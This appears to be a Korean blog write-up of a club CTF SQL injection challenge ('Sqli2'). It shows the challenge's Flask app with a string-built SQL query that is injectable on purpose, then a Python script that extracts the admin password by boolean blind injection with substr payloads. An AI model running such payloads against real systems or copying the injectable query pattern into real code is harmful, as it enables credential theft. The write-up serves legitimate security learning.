🐰시작!
이 창이 뜨고 시작.
소스코드 먼저봄.
from flask import Flask, request, g
import mysql.connector
app = Flask(__name__)
def get_db():
if 'db' not in g:
g.db = mysql.connector.connect(
host='db', # Docker Compose 서비스 이름
user='root',
password='toor',
database='sqli'
)
return g.db
@app.teardown_appcontext
def close_db(exception):
db = g.pop('db', None)
if db is not None:
db.close()
@app.route('/')
def index():
uid = request.args.get('uid')
upw = request.args.get('upw')
query = f"SELECT * FROM sqli2 WHERE uid='{uid}' AND upw='{upw}'"
print(query)
cur = get_db().cursor()
try:
cur.execute(query)
result = cur.fetchone()
except mysql.connector.Error as e:
return f"<h3>Database error: {e}</h3>"
if result:
output = f"<h3>Success!!</h3>"
else:
output = "<h3>Invalid credentials</h3>"
return f"""
<h1>level 2</h1>
<p><b>Query:</b> {query}</p>
<p><b>Result:</b> {output}</p>
"""
if __name__ == '__main__':
app.run(host='0.0.0.0')
try:
cur.execute(query)
result = cur.fetchone()
except mysql.connector.Error as e:
return f"<h3>Database error: {e}</h3>"
result = cur.fetchone() 를 보면 쿼리 실행 결과에서 첫 번째 행을 가져온다.
그렇기 때문에 첫번째행에 FLAG값이 포함되어 있어야 할 거 같음.
그래서 DB와 연결된 코드를 열어봤다.
import mysql.connector
import os
import time
with open('FLAG.txt', 'r') as file:
FLAG = file.read().strip()
admin_password = FLAG
guest_password = 'guest'
print(f"Admin password: {admin_password}")
# Wait for the MySQL service to be available
time.sleep(20)
conn = mysql.connector.connect(
host='db', # Docker Compose 서비스 이름
user='root',
password='toor',
database='sqli'
)
c = conn.cursor()
# Check if table exists
c.execute('''
SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema = 'sqli' AND table_name = 'sqli2'
''')
if not c.fetchone():
c.execute('''
CREATE TABLE sqli2 (
id INT AUTO_INCREMENT PRIMARY KEY,
uid VARCHAR(64) NOT NULL,
upw VARCHAR(256) NOT NULL,
name VARCHAR(64) NOT NULL
)
''')
# Insert guest account first
c.execute("INSERT INTO sqli2 (uid, upw, name) VALUES (%s, %s, %s)", ('guest', guest_password, 'Guest User'))
c.execute("INSERT INTO sqli2 (uid, upw, name) VALUES (%s, %s, %s)", ('admin', admin_password, 'Admin User'))
conn.commit()
else:
print("Table sqli2 already exists.")
conn.close()
admin_password = FLAG 를 보면 admin_password에 FLAG값이 들어있다.
그래서 먼저 uid에 admin을 넣고 UNION을 사용해 upw값을 나오게 입력해봄.
Success!! 만 뜨는걸 보니 반환되는 값이 Success!! 랑 Invalid credentials 뿐이라
Blind injection을 사용해 FLAG 값을 얻어야 할 거 같다.
그래서 SUBSTRING을 사용해 문자열을 추출해봤음.
Success!!가 뜨는걸 보니 upw의첫번째 글자는 'h’가 맞는 듯.
True 와 False만 뜨기 때문에 하나씩 다 해봐야하는데 시간이 오래걸릴 거 같아 코드로 실행 시킴.
사용코드.
import requests
import string
url = 'http://prob.hspace.io:10002/'
length = 0
pw = ''
chars = string.ascii_letters + string.digits+"{,}!@#$%^&*()_+-="
for i in range(100):
password_len = f"?uid=admin' and length(upw)='{i}'%23"
full_url = url + password_len
res = requests.get(full_url)
if 'Success!!' in res.text:
length = i
print(f"비밀번호의 길이는 {i}")
break
for j in range(1, length + 1):
for char in chars:
payload = f"?uid=admin' and substr(upw,{j},1)='{char}'%23"
flag_url = url + payload
resq = requests.get(flag_url)
if 'Success' in resq.text:
pw += char
print(pw)
break
print("최종 비밀 번호는 " + pw)
'Web Hacking > SWLUG 내부 CTF' 카테고리의 다른 글
[SWLUG] Sqli5 - write up (0) | 2025.04.14 |
---|---|
[SWLUG] Sqli4 - write up (0) | 2025.04.14 |
[SWLUG] Sqli3 - write up (0) | 2025.04.14 |
[SWLUG] Sqli1 - write up (0) | 2025.04.14 |
[SWLUG] Sqli0 - write up (0) | 2025.04.14 |